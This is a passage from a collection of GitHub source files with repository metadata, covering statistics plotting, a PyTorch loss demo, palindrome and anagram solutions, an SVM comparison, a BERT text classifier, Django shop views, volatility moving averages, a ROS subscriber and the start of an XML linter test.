cmRaw_l = np.array(cmRaw_l)\n cmCropped_l = np.array(cmCropped_l)\n cmDiff_l = np.array(cmDiff_l)\n\n cmRaw_mean = np.mean(cmRaw_l,axis=0)\n cmCropped_mean = np.mean(cmCropped_l,axis=0)\n cmDiff_mean = np.mean(cmDiff_l,axis=0)\n\n cmRaw_std = np.std(cmRaw_l,axis=0)\n cmCropped_std = np.std(cmCropped_l,axis=0)\n cmDiff_std = np.std(cmDiff_l,axis=0)\n\n \n paired_tTest_num = cmRaw_mean - cmCropped_mean\n paired_tTest_denom = np.sqrt( (cmRaw_std**2 + cmCropped_std**2) / len(cmRaw_l) )\n # we know it's two tailed, but computing as one is more efficient\n t_values = np.abs(paired_tTest_num) / paired_tTest_denom\n print(t_values)\n p_values = ss.t.sf(t_values,len(cmRaw_l)-1)\n\n def saveMat(fn,mat):\n fid = open(iconicImagesFileFormat().format(fn),\"wb\")\n pickle.dump(mat,fid)\n fid.close()\n \n saveId_l = [\"rawMean\",\"rawStd\",\"croppedMean\",\"croppedStd\",\"diffMean\",\"diffStd\",\"pValues\"]\n plotTitle_l = [\"Raw Images\",\"Raw Std\", \"Cropped Images\", \"Cropped Std\",\"Raw - Cropped\",\"Raw - Cropped (Std)\", \"P-Values\"]\n confMatStat = [cmRaw_mean,cmRaw_std,cmCropped_mean,cmCropped_std,cmDiff_mean,cmDiff_std,p_values]\n for saveId,plotTitle,matStat in zip(saveId_l,plotTitle_l,confMatStat):\n appendStr = \"{}_{}\".format(saveId,cfg.uuid)\n pklFn = \"ntd_stats_{}.pkl\".format(appendStr)\n saveMat(pklFn,matStat)\n pathToPlot = osp.join(cfg.PATH_TO_NTD_OUTPUT, 'ntd_stats_{}.png'.format(appendStr))\n plot_confusion_matrix(np.copy(matStat), cfg.clsToSet,\n pathToPlot, title=plotTitle,\n cmap = plt.cm.bwr_r,vmin=-100,vmax=100)\n print(p_values)\n\n \n \n\n \n\n\n\n\n\n\n\n","repo_name":"PurdueCAM2Project/metaDatasetGenerator","sub_path":"lib/ntd/ntd_utils.py","file_name":"ntd_utils.py","file_ext":"py","file_size_in_byte":14990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26150090311","text":"import torchvision as torchvision\nfrom torch import nn\nfrom torch.nn import Sequential, Conv2d, MaxPool2d, Flatten, Linear, CrossEntropyLoss\nfrom torch.utils.data import DataLoader\n\ndataset_transform = torchvision.transforms.Compose([torchvision.transforms.ToTensor()])\ndataset = torchvision.datasets.CIFAR10(root=\"./dataset\", train=False, transform=dataset_transform, download=True)\ndata_loader = DataLoader(dataset, batch_size=1, shuffle=True, num_workers=0, drop_last=False)\n\n\nclass nn5(nn.Module):\n def __init__(self) -> None:\n super(nn5, self).__init__()\n self.model = Sequential(\n Conv2d(3, 32, 5, padding=2),\n MaxPool2d(2),\n Conv2d(32, 32, 5, padding=2),\n MaxPool2d(2),\n Conv2d(32, 64, 5, padding=2),\n MaxPool2d(2),\n Flatten(),\n Linear(1024, 64),\n Linear(64, 10)\n )\n\n def forward(self, x):\n x = self.model(x)\n return x\n\n\nnn5 = nn5()\nloss_cross = CrossEntropyLoss()\nfor data in data_loader:\n imgs, targets = data\n outputs = nn5(imgs)\n print(outputs)\n print(targets)\n result = loss_cross(outputs, targets)\n # 计算梯度grad，为后面的优化做好准备\n result.backward()\n print(result)\n","repo_name":"yhl111/Pytorch","sub_path":"17_loss_network.py","file_name":"17_loss_network.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8957404371","text":"# String Palindrome Checker\n\n# Write a function that returns True if the given string argument is a palindrome. \n# Assume that the argument will only contain alphabetical characters.\n\n# Example → 'tacocat' is a palindrome. 'tacodog' is not a palindrome\n\n# Analyzing Hello! indexing\n# | H | e | l | l | o | ! | H | e | l | l | o | ! |\n# -6 -5 -4 -3 -2 -1 0 1 2 3 4 5 \n\n# Solution 1: Explaining [::-1] slicing\n # Let a = 'Hello!'\n # Indexing grabs single characters ... a[2] --> \"l\"\n # Slicing grabs a pattern of characters ... a[1:5] --> 'ello'\n # reverse slice of a[::-1] --> !olleh\n\ndef is_palindrome1(text):\n ''' checks if our given argument is a palindrome\n \n argument\n text: an alphabetical based string\n\n return\n a boolean value, True if the text is a palindrome, False otherwise\n '''\n\n return text == text[::-1]\n# end of is_palindrome1()\n\n# Solution 2: Determine the midway point then check to see if the other end is the same\ndef is_palindrome2(text):\n ''' checks if our given argument is a palindrome\n \n argument\n text: an alphabetical based string\n\n return\n a boolean value, True if the text is a palindrome, False otherwise\n '''\n if not text:\n # text is an empty string\n return True\n elif len(text) < 4:\n # for strings with lengths of 1,2,3 ... as long as the first and the last characters are the same\n # it is a palindrome\n return text[0] == text[-1]\n else:\n # our text is now guaranteed to be length of 4 or greater\n midpoint = len(text) // 2\n # if the length is odd, we get to ignore the middle most character\n # 01234 ... length of 5\n # HELLO\n\n # 0123 ... length of 4\n # HELL\n for i in range(0, midpoint):\n left = text[i]\n right = text[-1*i -1]\n\n # i = 0, -1 ; i=1, -2\n if left != right:\n return False # return in a loop works like a break, where it will auto terminate the loop\\\n # end of for loop\n return True \n# end of is_palindrome2()\n\nprint(is_palindrome1('tacocat'), is_palindrome2('tacocat'))\nprint(is_palindrome1('tacodog'), is_palindrome2('tacodog'))","repo_name":"mrparkonline/ics4u_2023F","sub_path":"video_solution/vid29.py","file_name":"vid29.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13270466986","text":"svc_scores = []\nkernels = ['linear', 'poly', 'rbf', 'sigmoid']\nfor i in range(len(kernels)):\n svc_classifier = SVC(kernel = kernels[i])\n svc_classifier.fit(X_train, y_train)\n svc_scores.append(svc_classifier.score(X_test, y_test))\n \ncolors = rainbow(np.linspace(0, 1, len(kernels)))\nplt.bar(kernels, svc_scores, color = colors)\nfor i in range(len(kernels)):\n plt.text(i, svc_scores[i], svc_scores[i])\nplt.xlabel('Kernels')\nplt.ylabel('Scores')\nplt.title('scores in different kernels')\n","repo_name":"r17zzy/heart-disease-prediction","sub_path":"SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8378572865","text":"\"\"\"\nInterview question:\nadd digit to a number to any place to make a largest number possible. \n\nFor example:\n\ninput: \n 0\n -999\n 286\n 388244\n 8883\n\noutput:\n 50\n -5999\n 5286\n 5388244\n 88853\n\"\"\"\n\n# import sys\n\n# sys.stdin = open(\"input\", \"r\")\n# sys.stdout = open(\"output\", \"w\")\n\n\n# get the position to add the digit in digits list\ndef get_pos(digits, digit, pos, multiplier):\n tmp = pos\n while tmp < len(digits):\n if digits[tmp] * multiplier < digit * multiplier:\n pos = tmp + 1\n tmp += 1\n\n return pos\n\n\n# insert the digit to the correct position\ndef insert_digit(digits, digit, multiplier):\n i, pos, flag = 0, 0, True\n\n while i < len(digits):\n if flag and digits[i] * multiplier < digit * multiplier:\n flag = False\n pos = get_pos(digits, digit, i + 1, multiplier)\n\n i += 1\n\n # print(pos)\n digits.insert(pos, digit)\n\n\n# convert the number to a list\n# we could also do the same by converting num to string\n# this is just for iterating through each digit\ndef number_to_digits(num, digits=None):\n while num:\n d, num, = (\n num % 10,\n num // 10,\n )\n\n digits += [d]\n\n\ndef get_max(num, digit=5):\n if not num:\n return digit * 10\n\n multiplier = -1 if num < 0 else 1\n\n # convert the negative number to positive\n num *= multiplier\n\n # number to digits array\n digits = []\n number_to_digits(num, digits)\n\n # insert the digit at the correct index\n insert_digit(digits, digit, multiplier)\n\n # make answer\n i, ans = 0, 0\n for d in digits:\n ans += d * (10 ** i)\n i += 1\n\n return ans * multiplier\n\n\ndef main():\n # t = int(input())\n # while t > 0:\n # t -= 1\n num = int(input())\n print(get_max(num))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"manerao-pritam/python-DS","sub_path":"Daily coding problems/add_digit_to_make_largest_number.py","file_name":"add_digit_to_make_largest_number.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72805389801","text":"# 模型预测\nimport numpy as np\nimport pandas as pd\nfrom bert4keras.backend import keras, K\nfrom bert4keras.models import build_transformer_model\nfrom bert4keras.snippets import sequence_padding, DataGenerator\nfrom bert4keras.tokenizers import Tokenizer\nfrom keras.layers import *\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = '1,2,3,4' # 设置GPU编号\n\n# Bert base\nconfig_path = 'bert/chinese_L-12_H-768_A-12/bert_config.json'\ncheckpoint_path = 'bert/chinese_L-12_H-768_A-12/bert_model.ckpt'\ndict_path = 'bert/chinese_L-12_H-768_A-12/vocab.txt'\n\nn = 1 # cross-validation\nseed = 2020\nnum_classes = 10\n\nmaxlen = 512\nmax_segment = 2\nbatch_size = 4\ngrad_accum_steps = 64 # 梯度积累，即积累一定梯度后再进行运算\ndrop = 0.2\nlr = 2e-5\nepochs = 100\n\n\ndef load_data(df):\n \"\"\" 加载数据 \"\"\"\n D = list()\n for _, row in df.iterrows():\n text = row['content']\n label = row['label_id']\n D.append((text, int(label)))\n # D = [(text1, label1), (text2, label2), ...]\n return D\n\n\n# 建立分词器\ntokenizer = Tokenizer(dict_path, do_lower_case=True)\n\n\ndef sentence_split(words):\n \"\"\" 句子截断 \"\"\"\n document_len = len(words) # 文本总长度\n # [0, 510, 1020, 1530, 2040, 2550, 3060, 3570, 4080, 4590]\n # 为文档 按照maxlen 划分后的 索引 位置（没有最后部分的位置，即不足maxlen的那段）\n index = list(range(0, document_len, maxlen-2))\n index.append(document_len) # 加上最后的位置\n\n segments = []\n for i in range(len(index) - 1):\n # 这是标准长度 maxlen-2的文本，因为一个段落太长，所以需要这样截断才能训练\n segment = words[index[i]: index[i + 1]]\n assert len(segment) > 0\n # 转化为id, 并加上 首尾的cls和sep\n segment = tokenizer.tokens_to_ids(['[CLS]'] + segment + ['[SEP]'])\n segments.append(segment)\n\n assert len(segments) > 0\n # 对划分的段进行判断，设定不超过两个，因为Bert输入就是不超过两个\n # 如果超过两个段\n if len(segments) > max_segment:\n segment_ = int(max_segment / 2)\n # 只取开头一段和结尾一段，一共两段，满足max_segment要求\n return segments[:segment_] + segments[-segment_:]\n else:\n return segments\n\n\nclass data_generator(DataGenerator):\n \"\"\" 数据生成器 \"\"\"\n def __init__(self, data, batch_size=32, buffer_size=None, random=False):\n super().__init__(data, batch_size, buffer_size)\n self.random = random\n\n def __iter__(self, random=False):\n batch_token_ids, batch_segment_ids, batch_labels = [], [], []\n for is_end, (text, label) in self.sample(random):\n token_ids = sentence_split(text) # 句子截断\n token_ids = sequence_padding(token_ids, length=maxlen)\n segment_ids = np.zeros_like(token_ids)\n\n batch_token_ids.append(token_ids)\n batch_segment_ids.append(segment_ids)\n batch_labels.append([label])\n\n if len(batch_token_ids) == self.batch_size or is_end:\n batch_token_ids = sequence_padding(\n batch_token_ids, length=max_segment\n )\n batch_segment_ids = sequence_padding(\n batch_segment_ids, length=max_segment\n )\n batch_labels = sequence_padding(batch_labels)\n\n yield [batch_token_ids, batch_segment_ids], batch_labels\n batch_token_ids, batch_segment_ids, batch_labels = [], [], []\n\n def forfit(self):\n while True:\n for d in self.__iter__(self.random):\n yield d\n\n\nclass Attention(Layer):\n \"\"\" 注意力层 \"\"\"\n def __init__(self, hidden_size, **kwargs):\n self.hidden_size = hidden_size\n super().__init__(**kwargs)\n\n def build(self, input_shape):\n initializer = keras.initializers.truncated_normal(mean=0.0, stddev=0.05)\n # 为该层创建一个可训练的权重\n self.weight = self.add_weight(\n name='weight',\n shape=(self.hidden_size, self.hidden_size),\n initializer=initializer,\n trainable=True\n )\n self.bias = self.add_weight(\n name='bias',\n shape=(self.hidden_size,),\n initializer='zero',\n trainable=True\n )\n self.query = self.add_weight(\n name='query',\n shape=(self.hidden_size, 1),\n initializer=initializer,\n trainable=True\n )\n\n super().build(input_shape) # 一定要在最后调用它\n\n def call(self, x):\n x, mask = x\n mask = K.squeeze(mask, axis=2)\n # linear\n key = K.bias_add(K.dot(x, self.weight), self.bias)\n\n # compute attention\n outputs = K.squeeze(K.dot(key, self.query), axis=2)\n outputs -= 1e32 * (1 - mask)\n\n attn_scores = K.softmax(outputs)\n attn_scores *= mask\n attn_scores = K.reshape(\n attn_scores, shape=(-1, 1, attn_scores.shape[-1])\n )\n\n outputs = K.squeeze(K.batch_dot(attn_scores, key), axis=1)\n\n return outputs\n\n def compute_output_shape(self, input_shape):\n return input_shape[0][0], self.hidden_size\n\n\ndef build_model():\n \"\"\" 模型构建 \"\"\"\n token_ids = Input(shape=(max_segment, maxlen), dtype='int32')\n segment_ids = Input(shape=(max_segment, maxlen), dtype='int32')\n\n input_mask = Masking(mask_value=0)(token_ids)\n input_mask = Lambda(\n lambda x: K.cast(K.any(x, axis=2, keepdims=True), 'float32')\n )(input_mask)\n\n token_ids1 = Lambda(\n lambda x: K.reshape(x, shape=(-1, maxlen))\n )(token_ids)\n segment_ids1 = Lambda(\n lambda x: K.reshape(x, shape=(-1, maxlen))\n )(segment_ids)\n\n # 加载预训练模型\n bert = build_transformer_model(\n config_path=config_path,\n checkpoint_path=checkpoint_path,\n return_keras_model=False,\n )\n output = bert.model([token_ids1, segment_ids1])\n output = Lambda(lambda x: x[:, 0])(output)\n output = Lambda(\n lambda x: K.reshape(x, shape=(-1, max_segment, output.shape[-1]))\n )(output)\n output = Multiply()([output, input_mask])\n output = Dropout(drop)(output)\n\n output = Attention(output.shape[-1].value)([output, input_mask])\n output = Dropout(drop)(output)\n\n output = Dense(\n units=num_classes,\n activation='softmax',\n kernel_initializer=bert.initializer\n )(output)\n\n model = keras.models.Model([token_ids, segment_ids], output)\n\n return model\n\n\ndef do_predict(df_test):\n test_data = load_data(df_test)\n test_generator = data_generator(test_data, batch_size)\n\n model = build_model()\n res = np.zeros((len(test_data), num_classes))\n model.load_weights(f'weights-1.h5') # 加载权重\n # 执行预测\n pred = model.predict_generator(\n test_generator.forfit(), steps=len(test_generator)\n )\n res += pred # 结果求算术平均\n \"\"\"\n for i in range(1, n+1):\n model.load_weights(f'weights-{i}.h5') # 加载权重\n # 执行预测\n pred = model.predict_generator(\n test_generator.forfit(), steps=len(test_generator)\n )\n res += pred / n # 结果求算术平均\n \"\"\"\n return res\n\n\nif __name__ == '__main__':\n df_test = pd.read_csv('dataset/test_data.csv', encoding='utf-8')\n df_test['label'] = 0\n df_test['content'] = df_test['content'].apply(lambda x: x.strip().split())\n\n res = do_predict(df_test)\n df_test['label'] = res.argmax(axis=1)\n df_test.to_csv('dataset/submit_example1.csv', index=False, columns=['id', 'label'])\n","repo_name":"xhjcxxl/ccf2020_classification","sub_path":"keras_model/predict_classification.py","file_name":"predict_classification.py","file_ext":"py","file_size_in_byte":7692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3588613675","text":"from django.db.models import Q\nfrom django.shortcuts import render\nfrom django.views.generic import DetailView, ListView\nfrom django.http import JsonResponse\nfrom prices.models import Product, Shop, Category\n\n\nclass HomeListView(ListView):\n model = Product\n template_name = 'hello.html'\n context_object_name = 'products'\n\n def get_queryset(self):\n return Product.objects.order_by('?')[:10]\n\n\ndef barcode(request):\n return render(request, 'barcode.html')\n\n\ndef get_categories(request):\n shop_id = request.GET.get('shop_id')\n data = []\n categories = Category.objects.filter(shop_id=shop_id).order_by('category_name')\n for category in categories:\n data.append({'id': category.pk, 'categoryName': category.category_name})\n return JsonResponse(data, safe=False)\n\n\ndef get_brands(request):\n category_id = request.GET.get('category_id')\n data = []\n brands = Product.objects.filter(category_id=category_id).distinct('brand_id')\n # print(brands)\n for brand in brands:\n print(brand.brand_id.brand_name)\n data.append({'id': brand.brand_id.pk, 'brandName': brand.brand_id.brand_name})\n print(data)\n return JsonResponse(data, safe=False)\n\n\nclass SearchListView(ListView):\n model = Product\n template_name = 'search.html'\n context_object_name = 'products'\n paginate_by = 20\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['shops'] = Shop.objects.all()\n return context\n\n def get_queryset(self):\n ean = self.request.GET.get('ean', None)\n if ean:\n return Product.objects.filter(ean__contains=[ean])\n q = self.request.GET.get('q', '')\n shop_id = self.request.GET.get('shop', '')\n category_id = self.request.GET.get('category', '')\n brand_id = self.request.GET.get('brand', '')\n\n if shop_id and category_id and brand_id:\n return Product.objects.filter(Q(product_name__icontains=q) | Q(brand_id__brand_name__icontains=q),\n shop_id=shop_id, category_id=category_id, brand_id=brand_id)\n elif shop_id and category_id:\n return Product.objects.filter(Q(product_name__icontains=q) | Q(brand_id__brand_name__icontains=q),\n shop_id=shop_id, category_id=category_id)\n elif shop_id:\n return Product.objects.filter(Q(product_name__icontains=q) | Q(brand_id__brand_name__icontains=q),\n shop_id=shop_id, )\n return Product.objects.filter(Q(product_name__icontains=q) | Q(brand_id__brand_name__icontains=q))\n\n\nclass ProductDetailView(DetailView):\n model = Product\n template_name = 'product-detail.html'\n context_object_name = 'product'\n","repo_name":"Ryszard-S/Price-tracker","sub_path":"prices/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6621793039","text":"class Solution:\n def findAnagrams(self, s, p):\n \"\"\"\n :type s: str\n :type p: str\n :rtype: List[int]\n \"\"\"\n\n # 先把 p 统计一下字母频\n from collections import defaultdict\n wordcount = defaultdict(int)\n\n for alpha in p:\n wordcount[alpha] += 1\n\n # 滑动窗口的大小\n plen = len(p)\n slen = len(s)\n l = 0\n r = 0\n same = plen\n res = []\n while r < slen:\n if wordcount[s[r]] > 0:\n # 表示 s[r+1] 在 p 里面\n same -= 1\n wordcount[s[r]] -= 1\n r += 1\n if same == 0:\n res.append(l)\n if r - l == plen:\n if wordcount[s[l]] >= 0:\n same += 1\n # 左边要出\n wordcount[s[l]] += 1\n l += 1\n return res\n\n\nif __name__ == '__main__':\n s = \"cbaebabacd\"\n p = \"abc\"\n solution = Solution()\n result = solution.findAnagrams(s, p)\n print(result)\n","repo_name":"achillis2/pycode","sub_path":"LeetCode-Solution-Index/0438.py","file_name":"0438.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17634513164","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path(\"\", views.IndexView.as_view(), name=\"index\"),\n path(\"product/<slug:slug>\", views.ProductDetailView.as_view(),\n name=\"product_detail\"),\n path(\"cart\", views.CartListView.as_view(), name=\"cart\"),\n path(\"add-to-cart/<slug:slug>\", views.AddToCartView.as_view(), name=\"addtocart\"),\n path(\"remove-from-cart/<slug:slug>\",\n views.RemoveFromCartView.as_view(), name=\"removefromcart\"),\n path(\"checkout\", views.CheckoutView.as_view(), name=\"checkout\"),\n path(\"profile\", views.ProfileView.as_view(), name=\"profile\"),\n path(\"orders\", views.OrderView.as_view(), name=\"orders\")\n]\n","repo_name":"rachitbhatt007/Django-ecommerce","sub_path":"ecommerce/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"40527900807","text":"# code_S2L2_MAEMAFinal\r\n\"\"\"\r\ncode_S2L2_MAEMAFinal\r\n\r\nCreated on Tue Feb 6 20:52:45 2018\r\n\r\n@author: Steve Xia\r\n\r\n\r\nIn this code, we perform the following tasks\r\n 1. Use Moving Average Exponentil moving average model to calculate Variance\r\n 2. Compare different ways of calcuating volatilities\r\n\"\"\"\r\nimport numpy as np \r\nfrom scipy import stats\r\nimport scipy.io as spio\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd \r\n#--------------------------------------------------------\r\n\r\n# roll your own functions \r\n\r\ndef ma(values, window):\r\n wgts = np.repeat(1.0, window+1)/(window+1)\r\n #smas = np.convolve(values, wgts, mode='full')[:len(values)]\r\n smas = np.zeros(len(values))\r\n for i in range(window, len(values)):\r\n currentdata = values[i-window:i+1]\r\n smas[i] = np.dot(currentdata,wgts)\r\n del currentdata\r\n \r\n #smas[:window] = smas[window]\r\n smas[:window] = np.nan\r\n return smas\r\n\r\n# lamda here is the same as in MATLAB function \r\ndef ewa(values, lamda, window):\r\n wgts = np.power(lamda, np.arange(window-1))\r\n wgts = wgts/wgts.sum()\r\n ewas = np.convolve(values, wgts, mode='full')[:len(values)]\r\n #ewas[:window] = ewas[window]\r\n ewas[:window] = np.nan\r\n return ewas\r\n\r\n \r\n#----------------------------------------------------\r\nif __name__ == \"__main__\":\r\n # Read in data from Excel\r\n df = pd.read_excel('/Users/zhoujiawang/Desktop/Brandeis Life/Computer Simulation/Lecture7/Lecture7CodeNData/Input_MAEMA.xlsx', index_col=0, sheet_name='Returns')\r\n \r\n n_period = 250 \r\n figure_count = 1\r\n ret1 = df['ret'] # US val weighted return_returnss with dividends\r\n #demean returns\r\n ret1 = ret1 - ret1.mean()\r\n \r\n n_returns = len(ret1)\r\n \r\n #%%\r\n df_bs = df.sample(n_returns).set_index(df.index) # reset index to index from df \r\n \r\n # randomly sample the given return column to create a return vector of the same size as the original dataset\r\n ret1bs = ret1[np.random.choice(n_returns, n_returns)] # re-sampled returns\r\n #\r\n # calc square of return \r\n df['ret_square'] = np.square(df['ret'])\r\n \r\n # Calculate standard vol. we use regularly using the standard std function on historical back data\r\n #Std_Standard = np.zeros((n_returns,1))\r\n Std_Standard = np.full((n_returns,1), np.nan)\r\n for t in range(n_period-1, n_returns):\r\n a=df['ret'][t-n_period+1 : t+1]\r\n Std_Standard[t] = np.std(a,ddof=1)\r\n del a\r\n df['std_standard'] = Std_Standard \r\n\r\n # Or the same results can be calculated using the rolling method\r\n df['std_standard1'] = df['ret'].rolling(n_period).std()\r\n \r\n \r\n # Calculate simple moving average variance, using original data\r\n Variance_ma = ma(df['ret_square'], n_period-1)\r\n df['Variance_ma'] = Variance_ma\r\n # calculate rolling 250 days mean of return squared. The first Non-nan element equals np.mean(df['ret_square'][0:250])\r\n df['Variance_ma1'] = df['ret_square'].rolling(n_period).mean() \r\n \r\n #%%\r\n #\r\n # Calculate exponentially weighted average variance\r\n #\r\n lamda = 0.94\r\n Variance_Ema = ewa(df['ret_square'], lamda, n_period)\r\n #上下两种都可以好像没啥区别？\r\n Variance_Ema1=np.zeros((n_returns,1))\r\n for t in range(n_period-1, n_returns):\r\n #print(t)\r\n #print(t-n_period+1)\r\n a=df['ret_square'][t-n_period+1 : t+1]\r\n b = ewa(a, lamda, n_period-1)\r\n Variance_Ema1[t] = b[-1]\r\n del a, b\r\n \r\n #df['vols_ewma'] = df['ret_square'].ewm(span=n_period).mean()\r\n df['Varaince_ewma'] = Variance_Ema\r\n #Compare = np.concatenate((Variance_Ema,Variance_Ema1),axis=0)\r\n Compare1 = np.column_stack([Variance_Ema,Variance_Ema1])\r\n \r\n \r\n # Convert Variance to Standard Deviation\r\n df['std_ma'] = np.sqrt(df['Variance_ma'])\r\n df['std_ewma'] = np.sqrt(df['Varaince_ewma'])\r\n #%%\r\n # calculate the forward-realized standard deviation of returns\r\n Std_FwdRealized = np.full((n_returns,1), np.nan)\r\n # Note we only care about the forward realized std, starting from period 250, because we intend to compare \r\n # them with the ones based on backward-looking ma and ema models\r\n for t in range(n_period, n_returns-n_period+1):\r\n a=df['ret'][t : t+n_period]\r\n Std_FwdRealized[t] = np.std(a,ddof=1)\r\n del a\r\n df['std_realized_fw'] = Std_FwdRealized\r\n # Use the shift method to calculate std. The first Non-nan element equals np.std(df['ret_square'][0:250])\r\n # a1=df['ret'][np.isnan(df['realized_fw'])]\r\n #df['std_realized_fw1'] = df['ret'].rolling(n_period).std().shift(-n_period)\r\n \r\n df_bs['ret_square'] = np.square(df_bs['ret'])\r\n # Calculate simple moving average variance, using sampled return data\r\n Variance_ma_sampledRet = ma(np.square(ret1bs), n_period-1)\r\n df_bs['Variance_SampledRet'] = Variance_ma_sampledRet\r\n df_bs['Variance_SampledRet1'] = df_bs['ret_square'].rolling(n_period).mean()\r\n df_bs['std_SampledRet'] = np.sqrt(df_bs['Variance_SampledRet'])\r\n \r\n #%%%\r\n #\r\n # --------- plotting ----------------\r\n #\r\n \r\n import matplotlib.dates as mdates\r\n \r\n \r\n fig2=plt.figure(figure_count, figsize=(12, 10), edgecolor='k')\r\n figure_count = figure_count+1\r\n \r\n ax1 = plt.subplot(311, facecolor='w')\r\n plt.plot(df['date'], df['std_standard'],'k-', linewidth=2, label = 'std function')\r\n plt.plot(df['date'], df['std_ma'],'r-.', linewidth=1, label = 'simple moving average')\r\n \r\n xfmt = mdates.DateFormatter('%Y')\r\n ax1.xaxis.set_major_formatter(xfmt)\r\n \r\n #ax1.legend(loc='upper center', ncol=2)\r\n ax1.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n \r\n plt.setp(ax1.get_xticklabels(), fontsize=12)\r\n \r\n # subplot 2\r\n ax2 = plt.subplot(312, sharex=ax1, facecolor='w')\r\n plt.plot(df['date'], df['std_standard'],'k-', linewidth=2, label = 'std function')\r\n plt.plot(df['date'], df['std_ewma'],'r-.', linewidth=1, label = 'exponential moving average')\r\n \r\n ax2.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n # make these tick labels invisible\r\n #plt.setp(ax2.get_xticklabels(), visible=False)\r\n plt.setp(ax2.get_xticklabels(), fontsize=12)\r\n \r\n # subplot 3\r\n ax3 = plt.subplot(313, sharex=ax1, sharey=ax1, facecolor='w')\r\n plt.plot(df['date'], df['std_standard'],'k-', linewidth=2, label = 'std function')\r\n plt.plot(df['date'], df_bs['std_SampledRet'],'r-.', linewidth=1, label = 'Boot Strap moving average')\r\n plt.setp(ax3.get_xticklabels(), fontsize=12)\r\n \r\n xfmt = mdates.DateFormatter('%Y')\r\n ax3.xaxis.set_major_formatter(xfmt)\r\n \r\n ax3.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n \r\n #\r\n #-------------figure 2\r\n #\r\n fig3=plt.figure(figure_count, figsize=(12, 10), edgecolor='k')\r\n figure_count = figure_count+1\r\n \r\n ax1 = plt.subplot(311, facecolor='w')\r\n plt.plot(df['date'], df['std_realized_fw'],'k-', linewidth=2, label = 'forward realized vol.')\r\n plt.plot(df['date'], df['std_ma'],'r-.', linewidth=1, label = 'simple moving average')\r\n \r\n xfmt = mdates.DateFormatter('%Y')\r\n ax1.xaxis.set_major_formatter(xfmt)\r\n \r\n #ax1.legend(loc='upper center', ncol=2)\r\n ax1.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n \r\n plt.setp(ax1.get_xticklabels(), fontsize=12)\r\n \r\n # subplot 2\r\n ax2 = plt.subplot(312, sharex=ax1, facecolor='w')\r\n plt.plot(df['date'], df['std_realized_fw'],'k-', linewidth=2, label = 'forward realized vol.')\r\n plt.plot(df['date'], df['std_ewma'],'r-.', linewidth=1, label = 'exponential moving average')\r\n \r\n ax2.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n # make these tick labels invisible\r\n #plt.setp(ax2.get_xticklabels(), visible=False)\r\n plt.setp(ax2.get_xticklabels(), fontsize=12)\r\n \r\n # subplot 3\r\n ax3 = plt.subplot(313, sharex=ax1, sharey=ax1, facecolor='w')\r\n plt.plot(df['date'], df['std_realized_fw'],'k-', linewidth=2, label = 'forward realized vol.')\r\n plt.plot(df['date'], df_bs['std_SampledRet'],'r-.', linewidth=1, label = 'Boot Strap moving average')\r\n plt.setp(ax3.get_xticklabels(), fontsize=12)\r\n \r\n xfmt = mdates.DateFormatter('%Y')\r\n ax3.xaxis.set_major_formatter(xfmt)\r\n \r\n ax3.legend(loc='upper left', ncol=1)\r\n plt.ylabel('Volatility', fontweight = 'bold')\r\n\r\n","repo_name":"Wangvory/Computer-Simulation-Sample-Code","sub_path":"Lecture7/Lecture7CodeNData/L7_MAEMAFinal.py","file_name":"L7_MAEMAFinal.py","file_ext":"py","file_size_in_byte":8569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38190858321","text":"#!/usr/bin/env python3\n\nimport rospy\nfrom cw4.msg import Student\n\ndef student_cb(msg):\n\trospy.loginfo('{}'.format(msg))\n\t\nrospy.init_node('cw4')\nsub= rospy.Subscriber('/student', Student, student_cb)\nrospy.spin()\n","repo_name":"rdwtm/ROS","sub_path":"cw4/src/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42850670006","text":"import os\n\nfrom bears.xml.XMLBear import XMLBear\nfrom tests.LocalBearTestHelper import verify_local_bear\n\n\nvalid_xml_file = \"\"\"<?xml version=\"1.0\"?>\n<a/>\n\"\"\".splitlines(keepends=True)\n\ninvalid_xml_file = \"\"\"\n<a>blah</a>\n\"\"\".splitlines(keepends=True)\n\ninvalid_xml_chars = \"\"\"<?xml version=\"1.0\"?>\n<a>hey & hi</a>\n\"\"\".splitlines(keepends=True)\n\nvalid_xml_chars = \"\"\"<?xml version=\"1.0\"?>\n<a>hey and hi</a>\n\"\"\".splitlines(keepends=True)\n\ndtd_file = os.path.join(os.path.dirname(__file__),\n \"test_files\",\n 